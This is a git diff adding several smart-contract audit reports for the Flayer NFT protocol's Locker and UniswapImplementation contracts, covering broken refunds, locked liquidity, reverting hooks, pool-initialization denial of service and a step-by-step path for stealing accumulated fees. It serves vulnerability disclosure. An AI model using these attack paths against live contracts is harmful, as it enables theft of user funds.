+369: if (collectionInitialized[_collection]) revert CollectionAlreadyInitialized();
+370:
+371: // Ensure that the minimum threshold of collection tokens have been provided
+372: uint _tokenIdsLength = _tokenIds.length;
+373: if (_tokenIdsLength < MINIMUM_TOKEN_IDS) revert InsufficientTokenIds();
+374:
+375: // cache
+376: IBaseImplementation _implementation = implementation;
+377: IERC20 nativeToken = IERC20(_implementation.nativeToken());
+378:
+379: // Convert the tokens into ERC20's which will return at a rate of 1:1
+380: deposit(_collection, _tokenIds, address(_implementation));
+381:
+382: // Send the native ETH equivalent token into the implementation
+383: uint startBalance = nativeToken.balanceOf(address(this));
+384: nativeToken.transferFrom(msg.sender, address(_implementation), _eth);
+385:
+386: // Make our internal call to our implementation
+387: uint tokens = _tokenIdsLength * 1 ether * 10 ** _collectionToken[_collection].denomination();
+388: _implementation.initializeCollection(_collection, _eth, tokens, _tokenSlippage, _sqrtPriceX96);
+389:
+390: // Map our collection as initialized
+391: collectionInitialized[_collection] = true;
+392: emit CollectionInitialized(_collection, _implementation.getCollectionPoolKey(_collection), _tokenIds, _sqrtPriceX96, msg.sender);
+393:
+394: // Refund any unused relative token to the user
+395: nativeToken.transfer(
+396: msg.sender,
+397: startBalance - nativeToken.balanceOf(address(this))
+398: );
+399: }
+```
+
+The user need to deposit at least 10NFT to initialize the collection
+
+In Line 380 Those tokens gets deposited with `UniswapImplementation` as the receiver of minted `collectionToken`
+
+in Line 384 we transfer the nativeToken (ie.wETH) to `UniswapImplementation`
+
+Now Both `CollectionToken` and `wETH` are in `UniswapImplementation` so that we are ready for the initialization in Line 388
+
+The problem is that we we initialize the pool through `UniswapImplementation` calling `poolManager` is that the liquidity is now owned to `UniswapImplementation` and not the user
+
+[Here](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L214) `UniswapImplementation::initializeCollection()` calls Pool manager
+
+Then it obtains a lock [here](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L226-L239) with the specified liquidity params
+
+This is uniV4 `poolManager` `unlock` function
+```solidity
+File: PoolManager.sol
+105: function unlock(bytes calldata data) external override returns (bytes memory result) {
+106: if (Lock.isUnlocked()) AlreadyUnlocked.selector.revertWith();
+107:
+108: Lock.unlock();
+109:
+110: // the caller does everything in this callback, including paying what they owe via calls to settle
+111: result = IUnlockCallback(msg.sender).unlockCallback(data); //@audit this calls our unlockCallback
+112:
+113: if (NonzeroDeltaCount.read() != 0) CurrencyNotSettled.selector.revertWith();
+114: Lock.lock();
+115: }
+```
+
+`unlockCallback` of `UniswapImplementation` will call `_unlockCallback` that call `poolManager::modifyLiquidity()` [Here](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L382-L391)
+
+Now the problem is that the owner of the liquidity pushed will be `msg.sender` which is `UniswapImplementation` as seen here
+```solidity
+File: PoolManager.sol
+150: function modifyLiquidity(
+151: PoolKey memory key,
+152: IPoolManager.ModifyLiquidityParams memory params,
+153: bytes calldata hookData
+154: ) external onlyWhenUnlocked noDelegateCall returns (BalanceDelta callerDelta, BalanceDelta feesAccrued) {
+155: PoolId id = key.toId();
+156: Pool.State storage pool = _getPool(id);
+157: pool.checkPoolInitialized();
+158:
+159: key.hooks.beforeModifyLiquidity(key, params, hookData);
+160:
+161: BalanceDelta principalDelta;
+162: (principalDelta, feesAccrued) = pool.modifyLiquidity(
+163: Pool.ModifyLiquidityParams({
+164: owner: msg.sender,
+165: tickLower: params.tickLower,
+166: tickUpper: params.tickUpper,
+167: liquidityDelta: params.liquidityDelta.toInt128(),
+168: tickSpacing: key.tickSpacing,
+169: salt: params.salt
+170: })
+171: );
+```
+
+This way, user initializing the pool with liquidity can't withdraw them back neither the owner since there are no function in `UniswapImplementation` to do so
+
+This will lead to inability to shutdown any collection too, since total supply of `collectionToken` has to be < 5
+
+### Impact
+
+Loss of liquidity associated with pool initialization
+
+As a minor impact, not being able to shutdown dormant collections as long as it has a liquidity pool initialized
+### PoC
+
+_No response_
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/002/092.md b/002/092.md
new file mode 100644
index 0000000..a3c704b
--- /dev/null
+++ b/002/092.md
@@ -0,0 +1,121 @@
+Rich Chrome Whale
+
+Medium
+
+# User extra funds during Pool initializtion would be stuck in `UniswapImplementation`
+
+### Summary
+
+Locker contract interact with extra native tokens sent from user during pool initialisation in the wrong way leading to lost funds to user
+
+### Root Cause
+
+balance accounting of locker contract instead of implementation contract leading to funds loss to user
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+User needs to calculate needed `nativeToken` using `_sqrtPriceX96` and amount `collectionToken` wrongly
+
+Loss of funds depends on how much the pool won't take during initialization and will be stuck in the implementation (The extra sent funds)
+
+### Attack Path
+
+When user calls `Locker::initializeCollection()` with predetermined `_eth`
+
+they get sent directly to `_implementation` [here](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Locker.sol#L384)
+
+but as we see in `Locker::initializeCollection()`
+
+```solidity
+File: Locker.sol
+367: function initializeCollection(address _collection, uint _eth, uint[] calldata _tokenIds, uint _tokenSlippage, uint160 _sqrtPriceX96) public virtual whenNotPaused collectionExists(_collection) {
+//////////////////////
+378:
+379: // Convert the tokens into ERC20's which will return at a rate of 1:1
+380: deposit(_collection, _tokenIds, address(_implementation));
+381:
+382: // Send the native ETH equivalent token into the implementation
+383: uint startBalance = nativeToken.balanceOf(address(this));//@audit it index the locker balance instead of implementation
+384: nativeToken.transferFrom(msg.sender, address(_implementation), _eth);
+385:
+386: // Make our internal call to our implementation
+387: uint tokens = _tokenIdsLength * 1 ether * 10 ** _collectionToken[_collection].denomination();
+388: _implementation.initializeCollection(_collection, _eth, tokens, _tokenSlippage, _sqrtPriceX96);
+389:
+390: // Map our collection as initialized
+391: collectionInitialized[_collection] = true;
+392: emit CollectionInitialized(_collection, _implementation.getCollectionPoolKey(_collection), _tokenIds, _sqrtPriceX96, msg.sender);
+393:
+394: // Refund any unused relative token to the user
+395: nativeToken.transfer( //@audit this integration tries to send extraBalance sent from users back to him but it failes cause extraBalance is in UniswapImplementation.sol
+396: msg.sender,
+397: startBalance - nativeToken.balanceOf(address(this)) //@audit this substraction will always be 0 since this address balance never changed
+398: );
+399: }
+```
+
+Now here are the steps where the bug would arrise
+1. User call `initializeCollection` with 20e18 `wETH` and 10NFT that its collection token has 0 `denomination` (10e18 `collectionToken`) `_sqrtPriceX96` of (for example 1 `Ratio`)
+2. 20e18 `wETH` and 10e18 `collectionToken` is sent to `implementation`
+3. in Line 388 `_implementation.initializeCollection` called that initialize the pool through `poolManager.initialize` and retrieves the needed liquidity [here](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L382) and deposit them [here](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L394-L401)
+4. Now since the `_sqrtPriceX96` is of 1 Ratio then the tokens pushed [here]((https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L394-L401) will be 10e18 of both tokens, any extra tokens won't be pushed (meaning they stay in the contract)
+
+What would have been the right implementation is checking for `balanceOf(_implementation)` to make sure that all tokens user has deposited have gone into the pool and if not we do The line 396 Logic to pull extra tokens from `_implementation` (approvals will be needed for Locker contract)
+
+>**_Note!:_**Those extra Tokens stuck at `_Implemenation` can be utilized by attacker providing less `_eth` than calculated intentionally during his pool initialization so that the user's stuck funds pay those needed `_eth`
+
+### Impact
+
+Loss of funds to user
+
+wrong balance accounting of extra funds by Locker contract that if were don't right, the issue would have appeared
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+```diff
+ function initializeCollection(address _collection, uint _eth, uint[] calldata _tokenIds, uint _tokenSlippage, uint160 _sqrtPriceX96) public virtual whenNotPaused collectionExists(_collection) {
+ // Ensure the collection is not already initialised
+ if (collectionInitialized[_collection]) revert CollectionAlreadyInitialized();
+
+ // Ensure that the minimum threshold of collection tokens have been provided
+ uint _tokenIdsLength = _tokenIds.length;
+ if (_tokenIdsLength < MINIMUM_TOKEN_IDS) revert InsufficientTokenIds();
+
+ // cache
+ IBaseImplementation _implementation = implementation;
+ IERC20 nativeToken = IERC20(_implementation.nativeToken());
+
+ // Convert the tokens into ERC20's which will return at a rate of 1:1
+ deposit(_collection, _tokenIds, address(_implementation));
+
+ // Send the native ETH equivalent token into the implementation
+ - uint startBalance = nativeToken.balanceOf(address(this));
++ uint startBalance = nativeToken.balanceOf(address(_implementation ));
+ nativeToken.transferFrom(msg.sender, address(_implementation), _eth);
+
+ // Make our internal call to our implementation
+ uint tokens = _tokenIdsLength * 1 ether * 10 ** _collectionToken[_collection].denomination();
+ _implementation.initializeCollection(_collection, _eth, tokens, _tokenSlippage, _sqrtPriceX96);
+
+ // Map our collection as initialized
+ collectionInitialized[_collection] = true;
+ emit CollectionInitialized(_collection, _implementation.getCollectionPoolKey(_collection), _tokenIds, _sqrtPriceX96, msg.sender);
+
+ // Refund any unused relative token to the user
+- nativeToken.transfer(
+- msg.sender,
+- startBalance - nativeToken.balanceOf(address(this))
++ nativeToken.transferFrom(_implementation,
++ msg.sender,
++ startBalance - nativeToken.balanceOf(address(_implementation))
+ );
+ }
+```
\ No newline at end of file
diff --git a/002/097.md b/002/097.md
new file mode 100644
index 0000000..9638f1d
--- /dev/null
+++ b/002/097.md
@@ -0,0 +1,50 @@
+Rich Chrome Whale
+
+High
+
+# Users initializing Pools can steal Fees staying in `UniswapImplementation`
+
+### Summary
+
+Fees in `UniswapImplementation` owned to collection Pools or `ammBenefeciary` will be stolen by attacker initialising his collection Pool
+
+### Root Cause
+
+nativeToken (fees) of pools and `ammBenefeciary` is staying in `UniswapImplementation` till claimed or distributed
+
+Till then, they are prone to be stolen by attacker through `Locker::initializeCollection()`
+
+### Internal pre-conditions
+
+Amount of lost funds depends on
+
+1. nativeToken (fees) owned to Collection pools that are not distributed yet
+2. ammBeneficiary fees are not claimed yet (or if the beneficiary is a pool then its not distributed yet)
+3. Extra Funds sent by mistake when previous users initialized Pools with more than needed `_eth` not returned to them(mentioned in detail in another report how it happened)
+
+### External pre-conditions
+
+Attacker initializing a collectionPool through `Locker::initializeCollection()`
+
+### Attack Path
+
+**_Note!_** The following mentioned values are for reference, they are inflated for clarity reasons and the attack is feasible with what ever the value of fees staying in `UniswapImplementation`
+1. `UniswapImplementation` has 1e18 wETH fees accumulated for multiple pools that has its `donateThreshold` at relative high value
+2. Attacker `Locker::initializeCollection()` with (10NFTs that transfer 10e18 to `UniswapImplementation` ) with `_eth` as 9e18 and `_sqrtPriceX96` of (for example of 1 `ratio`) so that every 1 collection token worth 1 wETH
+3. When liquidity needed `delta` is calculated [here](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L382-L391) it will have `amount0` and `amount1` to be both 10e18
+4. Those tokens will be pushed to the pool [here](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L394-L396) and [here](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L399-L401) 10e18 of both tokens
+5. now the attacker was able to deposit 10e18 each of both tokens and only paying 9e18 wETH and 10e18 collectionToken (stealing 1e18 from fees in the contract)
+
+### Impact
+
+Loss of funds (fees) to `ammBenefeciary` and collection UniV4 collection Pools
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Try to compute the needed liquidity in `Locker:initializeCollection` and force taking it
+
+or check balance of `UniswapImplementation` during the call to make sure it never decreased from the starting balance
\ No newline at end of file
diff --git a/002/110.md b/002/110.md
new file mode 100644
index 0000000..3b0db08
--- /dev/null
+++ b/002/110.md
@@ -0,0 +1,70 @@
+Shambolic Fuchsia Chicken
+
+High
+
+# `UniswapImplementation.beforeInitialize()` will always revert calls to `UniswapImplementation.initializeCollection()`
+
+## Summary
+`UniswapImplementation.beforeInitialize()` will cause reverts when `poolManager.initialize()` calls it
+
+```solidity
+ function beforeInitialize(address /* sender */, PoolKey memory /* key */, uint160 /* sqrtPriceX96 */, bytes calldata /* hookData */) public view override onlyByPoolManager returns (bytes4) {
+ revert CannotBeInitializedDirectly();
+ }
+
+```
+
+## Vulnerability Detail
+when `UniswapImplementation.initializeCollection()` is called it calls `poolManager.initialize()`.
+```solidity
+function initializeCollection(address _collection, uint _amount0, uint _amount1, uint _amount1Slippage, uint160 _sqrtPriceX96) public override {
+...........................................................................................
+ // Initialise our pool
+ poolManager.initialize(poolKey, _sqrtPriceX96, '');
+
+```
+Now `poolManager.initialize()` will call hook's `.beforeInitialize()` which in our case is `UniswapImplementation.beforeInitialize()`.
+
+```solidity
+ function initialize(PoolKey memory key, uint160 sqrtPriceX96, bytes calldata hookData)
+ external
+ noDelegateCall
+ returns (int24 tick)
+ {
+
+......................................................................................................
+
+
+ key.hooks.beforeInitialize(key, sqrtPriceX96, hookData);
+
+
+......................................................................................................
+
+ }
+```
+Our hook will be UniswapImplementation.sol because in `UniswapImplementation.registerCollection()` the contract UniswapImplementation.sol is set as its own hook
+
+```solidity
+ // Create our Uniswap pool and store the pool key
+ PoolKey memory poolKey = PoolKey({
+ currency0: Currency.wrap(!currencyFlipped ? nativeToken : address(_collectionToken)),
+ currency1: Currency.wrap(currencyFlipped ? nativeToken : address(_collectionToken)),
+ fee: LPFeeLibrary.DYNAMIC_FEE_FLAG,
+ tickSpacing: POOL_TICK_SPACING,
+ hooks: IHooks(address(this))//@audit
+ });
+```
+
+## Impact
+`UniswapImplementation.beforeInitialize()` will always revert calls to `UniswapImplementation.initializeCollection()`
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L453
+## Tool used
+
+Manual Review
+
+## Recommendation
+ return the necessary selector instead of explicitly reverting
+```solidity
+return IHooks.beforeInitialize.selector;
+```
diff --git a/002/125.md b/002/125.md
new file mode 100644
index 0000000..16bcc6f
--- /dev/null
+++ b/002/125.md
@@ -0,0 +1,60 @@
+Lucky Iron Sawfish
+
+High
+
+# Users can't withdraw funds and fees previously deposited for initializing Uniswap collection pool
+
+### Summary
+
+While initializing Uniswap collection pool, users need to provide some ````TokenIds```` and ETH as initial liquidity. These liquidity will be owned by the ````UniswapImplementation```` contract. The issue is that there is no interface for users to withdraw these liquidity later, and users loss these funds permanently.
+
+### Root Cause
+
+While initializing Uniswap collection pool, the full call-stack is as
+```solidity
+->Locker.initializeCollection()
+-->UniswapImplementation.initializeCollection()
+--->PoolManager.unlock()
+---->UniswapImplementation._unlockCallback()
+----->poolManager.modifyLiquidity()
+```
+The direct caller(````msg.sender````) of ````poolManager.modifyLiquidity()```` is the ````UniswapImplementation````. Per ````PoolManager.sol:164````([link](https://github.com/Uniswap/v4-core/blob/e06fb6a3511d61332db4a9fa05bc4348937c07d4/src/PoolManager.sol#L164)), the liqudity owner will be ````UniswapImplementation```` contract, not the user.
+```solidity
+File: lib\v4-core\src\PoolManager.sol
+150: function modifyLiquidity(
+...
+154: ) external onlyWhenUnlocked noDelegateCall returns (BalanceDelta callerDelta, BalanceDelta feesAccrued) {
+...
+162: (principalDelta, feesAccrued) = pool.modifyLiquidity(
+163: Pool.ModifyLiquidityParams({
+164: owner: msg.sender,
+...
+170: })
+171: );
+
+```
+Meanwhile, after checking all interfaces in ````UniswapImplementation````, we can find there is no implementation and interface for users to withdraw these liquidity.
+
+### Internal pre-conditions
+
+N/A
+
+### External pre-conditions
+
+N/A
+
+### Attack Path
+
+N/A
+
+### Impact
+
+users loss funds used for initializing Uniswap collection pools, and also loss LP fees earned by these liqudity.
+
+### PoC
+
+_No response_
+
+### Mitigation
+(1) In ````UniswapImplementation```` contract, storing the related users as owners of initial liquidity
+(2) When certain conditions are met, such as there is enough other liquidity in pools or the admin wants to close a pool, users can call interface such as ````withdrawInitialLiqudity()```` to get their funds and fees back.
\ No newline at end of file
diff --git a/002/130.md b/002/130.md
new file mode 100644
index 0000000..8fdf263
--- /dev/null
+++ b/002/130.md
@@ -0,0 +1,55 @@
+Clean Snowy Mustang
+
+High
+
+# User won't be refunded after initializing a collection
+
+## Summary
+User won't be refunded after initializing a collection.
+
+## Vulnerability Detail
+User can call [initializeCollection()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L367) to initialize a collection to set a base price and inject initial liquidity. The user is required to deposit ERC721 tokens and send native tokens.
+[Locker.sol#L379-L384](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L379-L384):
+```solidity
+ // Convert the tokens into ERC20's which will return at a rate of 1:1
+@> deposit(_collection, _tokenIds, address(_implementation));
+
+ // Send the native ETH equivalent token into the implementation
+ uint startBalance = nativeToken.balanceOf(address(this));
+@> nativeToken.transferFrom(msg.sender, address(_implementation), _eth);
+```
+At the end of the initialization, user will be refunded with unused native tokens.
+[Locker.sol#L394-L398](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L394-L398):
+```solidity
+ // Refund any unused relative token to the user
+ nativeToken.transfer(
+ msg.sender,
+ startBalance - nativeToken.balanceOf(address(this))
+ );
+```
+The problem is that the native tokens are transferred from user to Implementation contract directly before the initialization, however, after the pool is initialized, no unused native tokens are transferred back to Locker contract, this means user won't be able to receive any refunds.
+
+## Impact
+
+Locker contract is trusted by user to behave properly, so for the sake of convenience, user may send more native tokens than required to initialize a collection, and this is not user's fault. Due to this issue, there is no refund as promised and user will suffer a loss.
+
+## Code Snippet
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L367
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+The unused native tokens should be sent back to Locker contract to refund user, the refund amount should be calculated as below:
+[Locker.sol#L394-L398](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L394-L398):
+```diff
+ // Refund any unused relative token to the user
+ nativeToken.transfer(
+ msg.sender,
+- startBalance - nativeToken.balanceOf(address(this))
++ nativeToken.balanceOf(address(this)) - startBalance
+ );
+```
\ No newline at end of file
diff --git a/002/131.md b/002/131.md
new file mode 100644
index 0000000..6712d22
--- /dev/null
+++ b/002/131.md
@@ -0,0 +1,45 @@
+Large Saffron Toad
+
+High
+
+# `beforeInitialize` hook will always block the pool initialization
+
+## Summary
+Wrong implementation of the `beforeInitialize` will DOS the whole `UniswapImplementation.sol` contract.
+## Vulnerability Detail
+When a collection is registered in the `registerCollection` function the following parameters are passed in the poolKey struct:
+```solidity
+ // Create our Uniswap pool and store the pool key
+ PoolKey memory poolKey = PoolKey({
+ currency0: Currency.wrap(!currencyFlipped ? nativeToken : address(_collectionToken)),
+ currency1: Currency.wrap(currencyFlipped ? nativeToken : address(_collectionToken)),
+ fee: LPFeeLibrary.DYNAMIC_FEE_FLAG,
+ tickSpacing: POOL_TICK_SPACING,
+>>> hooks: IHooks(address(this))
+ });
+
+ // Store our {PoolKey} mapping against the collection
+ _poolKeys[_collection] = poolKey;
+```
+As pointed above the hooks contract will be this address.
+However when we try to call `initializeCollection` an external call to the uniswapV4 poolManager is made:
+```solidity
+poolManager.initialize(poolKey, _sqrtPriceX96, '');
+```
+In this call the pool manager calls the `beforeInitialize` hook:
+https://github.com/Uniswap/v4-core/blob/18b223cab19dc778d9d287a82d29fee3e99162b0/src/PoolManager.sol#L132
+
+However when we check out the beforeInitialize hook in the UniswapImplementation contract we see that the function will always revert here:
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L453
+As a result the `initializeCollection` function will be unusable as will the whole `UniswapImplementation` contract be.
+
+## Impact
+DOS of the `UniswapImplementation.sol`
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L453
+## Tool used
+
+Manual Review
+
+## Recommendation
+Implement the hook correctly so it does not revert
\ No newline at end of file
diff --git a/002/134.md b/002/134.md
new file mode 100644
index 0000000..935654e
--- /dev/null
+++ b/002/134.md
@@ -0,0 +1,43 @@
+Large Saffron Toad
+
+High
+
+# `afterInitialize` will cause initializeCollection in `UniswapImplementation.sol` to always revert
+
+## Summary
+Missing implementation of the `afterInitialize` will DOS the whole `UniswapImplementation.sol` contract.
+## Vulnerability Detail
+When a collection is registered in the registerCollection function the following parameters are passed in the poolKey struct:
+```solidity
+ // Create our Uniswap pool and store the pool key
+ PoolKey memory poolKey = PoolKey({
+ currency0: Currency.wrap(!currencyFlipped ? nativeToken : address(_collectionToken)),
+ currency1: Currency.wrap(currencyFlipped ? nativeToken : address(_collectionToken)),
+ fee: LPFeeLibrary.DYNAMIC_FEE_FLAG,
+ tickSpacing: POOL_TICK_SPACING,
+>>> hooks: IHooks(address(this))
+ });
+
+ // Store our {PoolKey} mapping against the collection
+ _poolKeys[_collection] = poolKey;
+```
+As pointed above the hooks contract will be this address.
+However when we try to call initializeCollection an external call to the uniswapV4 poolManager is made:
+```solidity
+poolManager.initialize(poolKey, _sqrtPriceX96, '');
+```
+In this call the pool manager calls the afterInitialize hook:
+https://github.com/Uniswap/v4-core/blob/18b223cab19dc778d9d287a82d29fee3e99162b0/src/PoolManager.sol#L139
+However the hook will cause the function to always revert because of the missing override of the following function:
+https://github.com/Uniswap/v4-periphery/blob/870b46c06db6be34626d376800380638cbfe1133/src/base/hooks/BaseHook.sol#L63
+
+## Impact
+DOS of the initializeCollection function
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L214
+## Tool used
+
+Manual Review
+
+## Recommendation
+Override the problematic hook
\ No newline at end of file
diff --git a/002/137.md b/002/137.md
new file mode 100644
index 0000000..6e13c3d
--- /dev/null
+++ b/002/137.md
@@ -0,0 +1,26 @@
+Large Saffron Toad
+
+High
+
+# Missing `beforeModifyLiquidity` and `afterModifyLiquidity` will cause `poolManager.unlock` to revert
+
+## Summary
+Because of the missing implementation of beforeModifyLiquidity in `UniswapImplementation.sol` the initializeCollection will always revert.
+## Vulnerability Detail
+When a collection is being initialized via `initializeCollection` in `UniswapImplementation.sol` the following external call is made:
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L226
+However when we check the function in the uniswapv4 pool manager we see that the following callback is being made:
+https://github.com/Uniswap/v4-core/blob/e06fb6a3511d61332db4a9fa05bc4348937c07d4/src/PoolManager.sol#L159
+However since out `UniswapImplementation.sol` is missing this hook the function will always revert.
+The same is applicable for the `afterModifyLiquidity` function which is called here:
+https://github.com/Uniswap/v4-core/blob/e06fb6a3511d61332db4a9fa05bc4348937c07d4/src/PoolManager.sol#L180C46-L180C66
+## Impact
+DOS of the initializeCollection function
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L226
+## Tool used
+
+Manual Review
+
+## Recommendation
+Implement the beforeModifyLiquidity hook.
\ No newline at end of file
diff --git a/002/142.md b/002/142.md
new file mode 100644
index 0000000..244b529
--- /dev/null
+++ b/002/142.md
@@ -0,0 +1,45 @@
+Large Saffron Toad
+
+High
+
+# Wrong refund logic in Locker.sol `initializeCollection`
+
+## Summary
+The whole refund logic in initializeCollection will not work because tokens are not held there.
+## Vulnerability Detail
+In the InitializeCollection function the token transfers go as follows:
+1)User deposits a minimum of 10 NFTs as liquidity. The deposit function of the locker is called with the implementation address passed as receiver:
+```solidity
+ deposit(_collection, _tokenIds, address(_implementation));
+```
+So the ERC721 tokens will be locked in the `Locker.sol` contract and the ERC20 collection tokens will be minted to the implementation contract.
+2) The balance of the `Locker.sol` contract is recorded in the `startBalance` variable:
+```solidity
+ uint startBalance = nativeToken.balanceOf(address(this));
+```
+However this will be equal to the native token balance even before `intializeCollection` was called.
+3) After that the user transfers _eth amount of tokens directly to the implementation contract:
+```solidity
+ nativeToken.transferFrom(msg.sender, address(_implementation), _eth);
+```
+4)The `UniswapImplementation.sol` will call function to create the initialize the pool and provide the liquidity. However Uniswapv4 does not always use all the provided in tokens so there will be leftover native tokens left in the `UniswapImplementation.sol`
+```solidity
+ _implementation.initializeCollection(_collection, _eth, tokens, _tokenSlippage, _sqrtPriceX96);
+```
+5)After that the following line is executed:
+```solidity
+// Refund any unused relative token to the user
+ nativeToken.transfer(msg.sender, startBalance - nativeToken.balanceOf(address(this)));
+```
+However as we can see all the tokens are transferred and held in the `UniswapImplementation.sol` contract and there are will never be changes in the balance of the `Locker.sol` contract during the `initializeCollection` function. Therefore the whole refund logic is wrong.
+
+## Impact
+The unused tokens are not actually returned to the sender.
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Locker.sol#L395
+## Tool used
+
+Manual Review
+
+## Recommendation
+Track the balance of the implementation contract to check the refund amount.
\ No newline at end of file
diff --git a/002/144.md b/002/144.md
new file mode 100644
index 0000000..f9ae9ae
--- /dev/null
+++ b/002/144.md
@@ -0,0 +1,49 @@
+Clean Snowy Mustang
+
+Medium
+
+# Collection pool initialization can be DoSed
+
+## Summary
+Collection pool initialization can be DoSed.
+
+## Vulnerability Detail
+To initialize a collection pool, [initializeCollection()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L205) in UniswapImplementation contract will be called, then Uniswap V4 PoolManager is called:
+[UniswapImplementation.sol#L213-L214](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L213-L214):
+```solidity
+ // Initialise our pool
+ poolManager.initialize(poolKey, _sqrtPriceX96, '');
+```
+The problem is that a malicious user can call PoolManager's [initialize()](https://github.com/Uniswap/v4-core/blob/18b223cab19dc778d9d287a82d29fee3e99162b0/src/PoolManager.sol#L115-L118) directly and create the pool with the same poolKey right after a collection was registered but before it is initialized (not front-run), as a result, our collection pool initialization will eventually revert due to that the pool has already been initialized.
+[PoolManager.sol#L137](https://github.com/Uniswap/v4-core/blob/18b223cab19dc778d9d287a82d29fee3e99162b0/src/PoolManager.sol#L137):
+```solidity
+ tick = _pools[id].initialize(sqrtPriceX96, protocolFee, lpFee);
+```
+[Pool.sol#L101](https://github.com/Uniswap/v4-core/blob/18b223cab19dc778d9d287a82d29fee3e99162b0/src/libraries/Pool.sol#L101):
+```solidity
+ if (self.slot0.sqrtPriceX96() != 0) PoolAlreadyInitialized.selector.revertWith();
+```
+
+## Impact
+Collection pool initialization is DoSed.
+
+## Code Snippet
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L214
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+If the collection has already been initialized, the transaction doesn't have to revert, the only thing to worry about is `sqrtPriceX96`.
+[UniswapImplementation.sol#L213-L214](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L213-L214):
+```diff
+ // Initialise our pool
++ try
+ poolManager.initialize(poolKey, _sqrtPriceX96, '') {}
++ catch {
++ // all we need to do is to adjust the price by swapping
++ }
+```
\ No newline at end of file
diff --git a/002/156.md b/002/156.md
new file mode 100644
index 0000000..3356216
--- /dev/null
+++ b/002/156.md
@@ -0,0 +1,139 @@
+Stable Chili Ferret
+
+High
+
+# Incorrect Logic of Refund mechanism in the `Locker.sol#initializeCollection()` function
+
+### Summary
+
+The `Locker.sol#initializeCollection()` function implements a Refund Mechanism, expecting that unused relative tokens will be returned to the user, but the protocol does not work as intended and the funds are locked in the `UniswapImplementation.sol#initializeCollection()` function.
+
+
+### Root Cause
+
+In the [`Locker.sol#initializeCollection()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L367-L399) function, the native token is transferred directly to the `UniswapImplementation.sol#initializeCollection()` function, and there cannot be any funds left to be refunded in the contract. Also, the Refund Mechanism is not implemented in the implementation contract.
+
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+- In [#L384](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L384), native tokens are transferred directly to the implementation contract, and there is no way to aggregate native tokens within the contract.
+- Meanwhile, the [`UniswapImplementation.sol#initializeCollection()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L205-L240) function does not implement a mechanism to refund remaining funds.
+- Next, native tokens are refunded to the user in #L395~#L398, but since native tokens are not accumulated in the contract, no funds are transferred.
+- Next, unused native tokens are locked in the `UniswapImplementation` contract.
+
+### Impact
+
+Loss of Unused native tokens of the user.
+
+### PoC
+
+```soliidity
